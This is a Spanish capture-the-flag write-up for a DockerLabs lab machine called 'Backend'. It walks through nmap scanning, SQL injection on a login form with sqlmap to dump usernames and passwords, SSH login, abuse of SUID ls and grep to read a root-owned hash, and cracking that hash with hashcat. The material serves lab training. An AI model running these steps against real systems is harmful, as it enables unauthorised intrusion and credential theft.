Backend



🚀Preparación del Entorno

El proceso para desplegar las máquinas de DockerLabs es bastante sencillo. Sigue estos pasos:

📌 Paso 1: Descargar el archivo CTF

Descarga el archivo ZIP del CTF que deseas utilizar.

📌 Paso 2: Descomprimir el archivo

Ejecuta el siguiente comando en la terminal:

unzip [nombre].zip

📂 Esto extraerá los siguientes archivos:

📌 Paso 3: Ejecutar el script de despliegue

Para iniciar el despliegue de la máquina virtual, ejecuta:

sudo bash auto_deploy.sh [nombre].tar

🕐 Después de unos minutos, el script te proporcionará la IP de la máquina lista para atacar.


🎯Resolución

🔍 Reconocimiento

Comenzamos determinando si el objetivo es Windows o Linux enviando paquetes ICMP:

ping -c 3 172.17.0.2

Pasted image 20250626181555.png

📌 La respuesta contiene campos como ttl=64, lo que suele indicar que el sistema es Linux.

Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo

nmap -sVC -p- -n --min-rate 5000 172.17.0.2

🕵️Análisis de vulnerabilidades

También hay un panel de login.html
Como es habitual, inspeccionamos el código fuente de la página para ver cómo maneja los logins. En este caso, encontramos un login.php que no se puede ver su fuente.

Sospechando de una posible inyección SQL, usamos sqlmap para analizar el formulario:

sqlmap --url "http://172.17.0.2/login.html" --forms --dbs --batch 

💥 Vulnerabilidad detectada: SQL Injection en el formulario de login
Pasted image 20250626183948.png


🎯 Explotación

Veamos sus tablas

sqlmap --url "http://172.17.0.2/login.html" --forms -D users --tables --batch

Se descubre la tabla usuarios.
Pasted image 20250626184358.png
Consultamos las credenciales guardadas en esa tabla:

sqlmap --url "http://172.17.0.2/login.html" --forms -T usuarios --columns --batch

Pasted image 20250626184627.png
Ahora indicamos que queramos ver el usuario y la contraseña

sqlmap --url "http://172.17.0.2/login.html" --forms -D users -T usuarios -C username,password --dump  --batch

🪪 Y aparecen los usuarios y contraseñas extraídos exitosamente:
Pasted image 20250626184842.png
Como previamente descubrimos que el servicio SSH está disponible, intentamos conectarnos usando las credenciales obtenidas:

ssh pepe@172.17.0.2

🎉 **¡PUM! Ya estamos dentro de la máquina como el usuario pepe! 💻🔓
Pasted image 20250626185206.png


📈 Escalada de privilegios

Una vez con acceso al sistema, buscamos archivos con el bit SUID activado para identificar posibles vectores de escalada local:

find / -type f -perm -4000 2>/dev/null

🔍 Observamos que comandos como ls y grep tienen el bit SUID.
Esto nos permite listar directorios y leer archivos como si fuéramos root.

📂 Listamos el contenido del directorio /root:

 /usr/bin/ls /root

📄 Encontramos un archivo pass.hash. Usamos grep para ver su contenido:
Pasted image 20250626190444.png
y con el grep vemos el hash

 /usr/bin/grep  "" /root/pass.hash

Obtenemos un hash, que guardamos en un archivo:

echo "HASH_AQUÍ" > hash.txt

🔎 Identificamos que el hash es MD5,, gracias a Hash-Identifier.
Pasted image 20250626191549.png
Consultando en Hashcat, vemos que el ID correspondiente para este tipo es 0

⚒️ Crackeamos el hash con hashcat y la famosa wordlist rockyou.txt:

hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

💥 ¡Contraseña crackeada!: spongebob34
Pasted image 20250626191837.png
Ahora iniciamos sesión como root:

su root
¡Ya somos root!

Pasted image 20250626192152.png